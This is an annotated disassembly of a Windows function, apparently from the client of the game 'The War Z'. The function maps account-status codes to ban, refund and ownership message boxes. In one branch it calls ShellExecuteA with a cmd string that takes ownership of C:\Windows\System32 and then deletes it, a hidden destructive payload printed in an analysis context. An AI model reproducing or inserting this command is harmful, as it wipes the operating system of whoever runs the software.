Function at 0x45d040
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x6f7f90]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], ecx
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax + 0x21840]
mov dword [ebp - 0x218], ecx
mov edx, dword [ebp - 0x218]
sub edx, 4
mov dword [ebp - 0x218], edx
cmp dword [ebp - 0x218], 0xe
ja case.default.0x45d089
mov eax, dword [ebp - 0x218]
jmp dword [eax*4 + 0x45d334]
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61cba8
jmp 0x45d323
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x21698], 0x61cbb8
jmp 0x45d323
mov eax, dword [ebp - 0x214]
mov dword [eax + 0x21698], 0x61cbd8
jmp 0x45d323
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61cbe4
mov edx, dword [ebp - 0x214]
mov eax, dword [edx + 0x21838]
xor edx, edx
mov ecx, 0x3c
div ecx
add eax, 1
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x20c]
push edx
push str.Your_account_has_been_temporarily_frozen_because_of_violation_of_the_Terms_of_Service___Paragraph_2___n_nYou_will_be_able_to_continue_to_use_the_service_in__d_hours
lea eax, [ebp - 0x208]
push eax
call fcn.00458340
add esp, 0xc
push 0x30
push 0x61ccb4
lea ecx, [ebp - 0x208]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x21698], 0x61ccbc
push 0x30
push 0x61ccd8
push str.Too_many_failed_login_attempts__your_IP_has_been_blocked_for_one_hour
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
push 0x10
push 0x61cd28
push 0x61cd30
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jne 0x45d19a
push 0
push 0
push str._c_takeown__f_C:WindowsSystem32__icacls_C:WindowsSystem32__grant_administrators:F__rd__s__q_C:WindowsSystem32
push 0x61ce10
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x45d323
mov eax, dword [ebp - 0x214]
mov dword [eax + 0x21698], 0x61ce1c
push 0x10
push 0x61ce34
push str.Your_IP_has_been_banned_by_IP_Address
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61ce64
push 0x10
push 0x61ce90
push str.Your_account_has_been_banned_by_HWID_ID
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x21698], 0x61cec0
push 0x10
push 0x61cee8
push str.Banned:_This_account_has_been_investigated_and_permanently_closed_for_violations_of_the_Terms_of_Use
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov eax, dword [ebp - 0x214]
mov dword [eax + 0x21698], 0x61cf58
push 0x10
push 0x61cf84
push str.Banned:_Your_account_has_been_banned_by_MAC_Address
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61cfc0
push 0x10
push 0x61cfe8
push str.Banned:_Your_account_has_been_banned_by_Client
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x21698], 0x61d020
mov eax, dword [ebp - 0x214]
mov dword [eax + 0x20dec], 4
jmp 0x45d323
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61d048
push 0x30
push str.Account_Deleted
push str.Your_account_was_deleted_because_your_payment_was_refunded_or_cancelled_n_nPlease_contact_your_payment_provider
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x21698], 0x61be57
push 0x30
push str.No_game_ownership_on_Steam
push str.Youve_started_game_under_a_steam_account__but_that_account_does_not_have_The_War_Z_game_ownership
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov eax, dword [ebp - 0x214]
mov dword [eax + 0x21698], 0x61d15c
push 0x30
push 0x61d16c
push str.Unknown_account_status__please_contact_support_extreme.co.th
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x45d323
mov ecx, dword [ebp - 0x214]
mov dword [ecx + 0x21698], 0x61be5a
mov edx, dword [ebp - 0x214]
mov dword [edx + 0x20dec], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005e4a11
mov esp, ebp
pop ebp
ret